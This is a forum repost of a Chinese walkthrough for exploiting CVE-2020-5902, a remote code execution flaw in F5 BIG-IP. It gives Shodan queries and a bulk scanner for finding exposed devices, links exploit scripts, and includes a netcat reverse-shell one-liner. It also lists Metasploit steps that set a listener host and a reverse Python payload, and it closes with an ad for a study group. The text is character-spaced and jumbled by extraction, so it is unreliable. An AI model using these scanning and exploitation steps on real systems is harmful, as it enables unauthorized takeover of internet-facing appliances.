搜索

[27063] 2020-08-25_漏洞复现CVE‐2020‐5902踩坑记

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-19
2020-08-25_漏洞复现CVE‐2020‐5902踩坑记 漏 洞 复 现   |   C V E ‐ 2 0 2 0 ‐ 5 9 0 2 踩 坑 记 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 8 - 2 5 收 录 于 话 题 # S R S P   T e a m   , 1 7 # 漏 洞 复 现   , 2 3 本 文 作 者 ： T a o i n g （ M s 0 8 0 6 7 实 验 室   S R S P   T E A M 小 组 成 员 ）       0 x 0 : 漏 洞 概 述 漏 洞 概 述 F 5   B I G ‐ I P   是 美 国   F 5   公 司 的 一 款 集 成 了 网 络 流 量 管 理 、 应 用 程 序 安 全 管 理 、 负 载 均 衡 等 功 能 的 应 用 交 付 平 台 。 2 0 2 0 年 7 月 1 日 ， F 5 官 方 公 布 流 量 管 理 用 户 界 面 （ T M U I ） 存 在   前 台 远 程 执 行 代 码 （ R C E ） 漏 洞 （ C V E ‐ 2 0 2 0 ‐ 5 9 0 2 ） 。 攻 击 者 利 用 该 漏 洞 ， 构 造 恶 意 请 求 ， 在 未 授 权 的 情 况 下 获 得 目 标 服 务 器 的 权 限 ， 实 现 远 程 代 码 执 行 。 0 x 1 : 影 响 版 本 范 围 影 响 版 本 范 围 0 x 2 设 备 检 索 ： 设 备 检 索 ： 0 x 3 s h o d a n 批 量 脚 本 批 量 脚 本 : 1 . 下 载 脚 本 后 安 装 库 文 件 ，   p i p 3   i n s t a l l   ‐ r   r e q u i r e m e n t s . t x t 2 . 打 开 脚 本 文 件 s c a n n e r . p y ， 加 入 自 己 s h o d a n   k e y F 5   B I G ‐ I P   <   1 5 . 1 . 0 . 4 F 5   B I G ‐ I P   <   1 4 . 1 . 2 . 6 F 5   B I G ‐ I P   <   1 3 . 1 . 3 . 4 F 5   B I G ‐ I P   <   1 2 . 1 . 5 . 2 F 5   B I G ‐ I P   <   1 1 . 6 . 5 . 2 s h o d a n h t t p . f a v i c o n . h a s h : ‐ 3 3 5 2 4 2 5 3 9   2 、 h t t p . t i t l e : " B I G ‐ I P ®   ; ‐   R e d i r e c t " h t t p s : / / g i t h u b . c o m / a q h m a l / C V E ‐ 2 0 2 0 ‐ 5 9 0 2 ‐ S c a n n e r
3 . 开 干   p y t h o n 3   s c a n . p y 0 x 4 漏 洞 复 现 漏 洞 复 现 : h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / C V E ‐ 2 0 2 0 ‐ 5 9 0 2 更 改 C V E ‐ 2 0 2 0 ‐ 5 9 0 2 . p y   里 的 u r l ， 然 后 直 接 运 行   p y t h o n   C V E ‐ 2 0 2 0 ‐ 5 9 0 2 . p y 。 这 里 我 使 用 的 是 p y t h o n 2   运 行
M s f 坑 之 多 坑 之 多 : 1 . 开 始 我 使 用 w g e t 最 后 各 种 问 题 。 直 接 浏 览 器 下 载 。 拖 进 m s f 2 . 解 决 方 法 : 下 载 后 拖 进 去 反 弹 s h e l l ： n c   ‐ e   / b i n / b a s h   i p   p o r t 监 听 ： n c   ‐ l v v p   p o r t h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t ‐ f r a m e w o r k / b l o b / 0 4 1 7 e 8 8 f f 2 4 b f 0 5 b 8 8 7 4 c 9 5 3 b d 9 1 6 0 0 f 1 0 1 8 6 b a 4 / m o d u l e s / e x p l o i t s / l i n u x / h t t p / f 5 _ b i g i p _ t m u i _ r c e . r b ﴾ / u s r / s h a r e / m e t a s p l o i t ‐ f r a m e w o r k / m o d u l e s / e x p l o i t s / l i n u x / h t t p / ﴿
打 开 m s f 依 次 执 行 0 x 5 : 总 结 总 结 : 坑 点 : m s f 最 好 在 云 上 ， 虚 拟 机 啥 的 弹 不 了 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！       目 前 目 前 3 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 m s f c o n s o l e   r e l o a d _ a l l   s e a r c h   f 5 _ b i g i p u s e   e x p l o i t / l i n u x / h t t p / f 5 _ b i g i p _ t m u i _ r c e s e t   r h o s t   1 . 2 . 3 . 4 s e t   l h o s t   1 2 9 . 2 0 4 . 1 1 3 . 2 0 2 s e t   l p o r t   5 5 6 7 s e t   p a y l o a d   c m d / u n i x / r e v e r s e _ p y t h o n r u n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理